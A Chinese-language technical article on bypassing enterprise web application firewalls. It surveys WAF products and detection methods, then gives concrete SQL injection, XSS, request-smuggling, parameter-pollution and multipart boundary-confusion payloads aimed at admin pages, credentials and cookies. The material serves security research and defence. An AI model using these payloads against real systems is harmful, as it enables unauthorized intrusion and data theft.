企业级WAF绕过技术深度研究
前言
Web应用防火墙(WAF)作为现代企业Web安全架构的核心组件,在防御SQL注入、XSS、RCE等常见攻击中扮演着关键角色。随着攻防技术的不断演进,针对企业级WAF的绕过技术也在持续发展。
一、WAF工作原理与检测机制
1.1 WAF架构与部署模式
企业级WAF通常采用三种部署模式:
网络型WAF(Network-based)
- 部署在网络边界,以硬件设备或专用服务器形式存在
- 保护整个网络内的所有Web应用
- 典型代表:F5 BIG-IP ASM、Imperva SecureSphere
主机型WAF(Host-based)
- 部署在Web服务器上,以软件形式运行
- 仅保护部署节点上的应用
- 典型代表:ModSecurity、NAXSI
云托管WAF(Cloud-hosted)
- 作为SaaS服务提供,由第三方管理基础设施
- 保护任意位置的Web应用
- 典型代表:Cloudflare、AWS WAF、Azure WAF、Akamai
1.2 核心检测机制
现代WAF采用多层检测机制:
1.2.1 基于签名的检测(Signature-Based Detection)
- 工作原理:维护已知攻击模式数据库,将请求元素与签名库匹配
- 典型规则集:OWASP CRS(Core Rule Set)
- 优势:对已知攻击检测准确率高,处理开销相对较低,误报率低
1.2.2 基于规则的过滤(Rule-Based Filtering)
- 负向安全模型(Blacklisting):定义禁止的内容,默认允许所有流量
- 正向安全模型(Whitelisting):定义允许的内容,默认拒绝所有流量
1.2.3 异常检测(Anomaly Detection)
- 工作原理:学习应用正常流量基线,标记偏离基线的异常请求
- 优势:可检测0day攻击,自适应应用特性
1.2.4 基于AI/ML的检测
- 工作原理:使用机器学习模型基于海量流量数据训练分类模型
- 优势:高准确率检测复杂和0day攻击,可持续学习适应
二、主流企业级WAF产品解析
2.1 国外主流WAF产品
| WAF产品 | 厂商 | 部署类型 | 核心规则集 | 市占率 |
|---|---|---|---|---|
| Cloudflare WAF | Cloudflare | Cloud | Managed + OWASP CRS | 高 |
| AWS WAF | Amazon | Cloud | AWS Managed Rules + OWASP CRS | 高 |
| Azure WAF | Microsoft | Cloud | DRS 2.1 (基于 CRS 3.2) | 高 |
| Google Cloud Armor | Cloud | ModSecurity + 自定义规则 | 中 | |
| F5 BIG-IP ASM | F5 Networks | Network/Virtual | Rapid Deployment Policy | 高 |
| ModSecurity | Trustwave/OWASP | Host/Network | OWASP CRS | 高 |
| Imperva WAF | Imperva | Cloud/Network/Host | ThreatRadar + 自定义 | 中 |
| Akamai Kona | Akamai | Cloud | Adaptive Security Engine | 高 |
| Fortinet FortiWeb | Fortinet | Network/Virtual | Extended Protection | 中 |
2.2 OWASP CRS (Core Rule Set)
OWASP CRS是WAF领域最广泛使用的开源规则集,被大量商业WAF采用作为基础规则。
覆盖的攻击类型:
- SQL注入(SQLi)
- 跨站脚本(XSS)
- 本地文件包含(LFI)
- 远程文件包含(RFI)
- 远程代码执行(RCE)
- PHP注入
- Session固定
- HTTP协议违规
- 恶意扫描器检测
版本演进:
- CRS 2.x(已停止维护)
- CRS 3.0~3.2(广泛使用)
- CRS 3.3+(当前版本)
- CRS 4.0(Next Generation)
偏执等级(Paranoia Level):
- PL1:基础防护,误报率低
- PL2:增强防护
- PL3:严格防护
- PL4:最大防护,误报率高
三、解析差异:WAF绕过的核心原理
3.1 HTTP解析差异(Parser Differential)
核心概念: WAF与后端应用对同一HTTP请求的理解不一致,是绕过的根本原因。
产生原因:
- WAF与应用使用不同的HTTP解析库
- RFC标准存在模糊性和歧义
- 实现细节差异
- 性能与安全的权衡
典型场景:
场景1:Content-Type解析差异
POST /api/search HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="query"
' UNION SELECT password FROM users
------Boundary--
90%以上的网站可互换接受application/x-www-form-urlencoded和multipart/form-data,但WAF检测规则可能不同步。
场景2:参数处理差异
GET /search?q=safe&q=malicious
不同技术栈对重复参数的处理:
| 技术栈 | 处理方式 |
|---|---|
| PHP | 使用最后一个值 |
| ASP.NET | 用逗号连接所有值 |
| Java Servlet | 返回数组 |
| Python Flask | 使用第一个值(默认) |
| Node.js Express | 返回数组或字符串 |
WAF如果仅检查第一个参数而后端使用最后一个,攻击即可绕过。
3.2 归一化不一致(Normalization Inconsistency)
核心问题: WAF在应用检测规则前必须对请求进行归一化(解码、规范化路径等),如果归一化逻辑与后端不一致,会产生绕过。
常见不一致:
URL编码层级:
%253Cscript%253E (双重URL编码)
↓ WAF解码一次
%3Cscript%3E
↓ 后端再解码
<script>
Unicode归一化:
\u003Cscript\u003E (Unicode编码)
→ 后端解码为: <script>
路径规范化:
/path/./to/../file.php
→ WAF可能不规范化
→ 后端规范化为: /path/file.php
四、高级WAF绕过技术
4.1 编码与混淆技术矩阵
4.1.1 URL编码变种
- 单次编码:
<转换为%3C - 双重编码:
<转换为%253C - 混合编码:
<script>转换为%3Cscript%3E - 大小写变种:
%3c%3C(某些WAF区分大小写)
4.1.2 Unicode编码技巧
- JavaScript Context:
\u003Cscript\u003E - HTML Entity:
<script> - UTF-7编码:
+ADw-script+AD4- - UTF-32 Overlong:
∀㸀㸀㸀㰀㰀㰀script㸀㸀㸀alert(1)㰀㰀㰀/script㸀㸀㸀
4.1.3 SQL注入编码
- 十六进制编码:
SELECT转换为0x53454C454354 - 字符函数:
CHAR(83,69,76,69,67,84)=SELECT - 注释分割:
SEL/*comment*/ECT - 大小写混淆:
SeLeCt - 空白字符替换:
SELECT\x09*\x0AFROM\x0Dusers(Tab, LF, CR)
4.1.4 字符集利用
IBM037/IBM500编码(IIS):
原始: id='union select * from users--
IBM037: %89%84=%7D%A4%95%89%96%95%40%A2%85%93%85%83%A3%40%5C%40%86%99%96%94%40%A4%A2%85%99%A2%60%60
ASP.NET支持IBM字符集,可绕过不支持此编码的WAF。
4.2 HTTP请求走私(HTTP Request Smuggling)
4.2.1 原理
利用前端(WAF/代理)和后端服务器对请求边界理解的差异,将恶意请求"走私"到后端。
核心:CL与TE的优先级差异
- Content-Length (CL):指定body长度(字节)
- Transfer-Encoding: chunked (TE):分块传输
HTTP规范对同时存在CL和TE时的处理存在模糊性,导致不同实现的差异。
4.2.2 CL.TE攻击
前端使用Content-Length,后端使用Transfer-Encoding
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 6
Transfer-Encoding: chunked
0
G
前端认为body长度为6字节,读取0\r\n\r\nG,请求结束。
后端使用chunked编码,读取0\r\n\r\n(长度0的chunk表示结束),剩余的G被当作下一个请求的开头。
攻击载荷示例:
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 4
Transfer-Encoding: chunked
5c
GET /admin HTTP/1.1
Host: vulnerable.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=0
4.2.3 TE.CL攻击
前端使用Transfer-Encoding,后端使用Content-Length
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 4
Transfer-Encoding: chunked
5c
GET /admin HTTP/1.1
X:
0
4.2.4 TE.TE攻击(混淆TE头)
Transfer-Encoding: chunked
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding:[tab]chunked
一侧识别为chunked,另一侧忽略,产生解析差异。
危害:
- 绕过WAF规则(走私的请求未被检测)
- 缓存投毒
- 会话劫持
- 请求劫持
4.3 HTTP参数污染(HTTP Parameter Pollution - HPP)
4.3.1 ASP.NET参数拼接
行为:ASP.NET使用逗号连接同名参数的所有值。
/?q=1'&q=alert(1)&q='2
→ 后端: q = "1',alert(1),'2"
在JavaScript上下文中:
var query = '1',alert(1),'2';
逗号操作符使得alert(1)被执行。
WAF绕过实例:
原始阻断:
/?q=';alert(1);//
HPP绕过:
/?q=1'+1;let+asd=window&q=def='al'+'ert'+;asd[def](1&q=2);'
ASP.NET拼接后:
q = "1'+1;let asd=window,def='al'+'ert'+;asd[def](1,2);'"
4.3.2 跨技术栈差异利用
PHP后端:
// PHP使用最后一个参数
$id = $_GET['id']; // 获取最后一个id值
攻击:
/?id=safe&id=' OR 1=1--
WAF检查第一个id=safe(安全),PHP使用最后一个id=' OR 1=1--(恶意)。
4.4 基于Content-Type的绕过
4.4.1 JSON-Based SQL注入
研究背景:2022年,Claroty Team82发现多个主流WAF(Palo Alto、AWS、Cloudflare、F5、Imperva)不支持JSON语法检测。
绕过技术:
标准SQLi被阻断:
' UNION SELECT username, password FROM users--
JSON函数绕过:
' OR JSON_LENGTH("{}") <= 8896 UNION SELECT @@version#
PostgreSQL JSON函数:
' OR (SELECT json_agg(password) FROM users)::text LIKE '%admin%'--
MySQL JSON函数:
' OR JSON_EXTRACT('{"a":"<script>alert(1)</script>"}','$.a')--
攻击流程:
- 数据库支持JSON函数(PostgreSQL、MySQL、SQLite、MSSQL)
- WAF规则未涵盖JSON语法
- 恶意SQL隐藏在JSON函数调用中
- 绕过检测,攻击成功执行
4.4.2 Multipart/Form-Data解析差异
根据WAFFLED研究,multipart content-type存在大量解析差异攻击面。
Boundary参数延续:
RFC 2231允许通过多个参数表示单个参数值:
Content-Type: multipart/form-data;
boundary=fake-boundary;
boundary*0=real-;
boundary*1=boundary
WAF取第一个boundary(fake-boundary),后端拼接为real-boundary,导致解析差异。
完整攻击载荷:
POST /upload HTTP/1.1
Content-Type: multipart/form-data;
boundary=fake-boundary;
boundary*0=real-;
boundary*1=boundary
--fake-boundary
Content-Disposition: form-data; name="field1"
safe_value
--fake-boundary--
--real-boundary
Content-Disposition: form-data; name="id"
<script>alert(document.cookie)</script>
--real-boundary--
WAF检查fake-boundary之间的内容(安全),后端解析real-boundary之间的内容(恶意)。
其他Multipart绕过类别:
- Boundary分隔符操作:
\r\n--boundary(移除\r\n) - Content-Disposition破坏:
content-disposition: form-da\x00a; name="file" - 畸形头部注入:
conten\x00-extra: somethingContent-Type: text/plain\x00 - 字符集变更:
Content-Type: text/plain; charset=\x00UTF-8 - 换行符移除:
Content-Type: multipart/form-data; boundary=test\r\n\r\n(紧接body,无空行)
4.4.3 XML外部实体注入绕过
- Extra Field Addition:在XML结构中添加额外字段
- DOCTYPE Closure Confusion:混淆DOCTYPE闭合
- Schema操作:操作XML schema定义
- Content-Type头移除:移除或修改Content-Type头
4.5 协议层绕过
协议层绕过涉及更底层的HTTP协议操作,包括:
- HTTP版本降级攻击
- 请求分片与分段传输
- 管线化请求处理差异
- 连接保持与超时利用
总结
企业级WAF绕过技术是一个不断演进的领域,核心在于利用WAF与后端应用之间的解析差异。有效的WAF绕过需要深入理解目标WAF的检测机制、部署架构以及后端应用的技术栈特性。防御方需要采用多层防御策略,包括定期更新规则集、实施正向安全模型、监控异常流量等综合措施来应对这些绕过技术。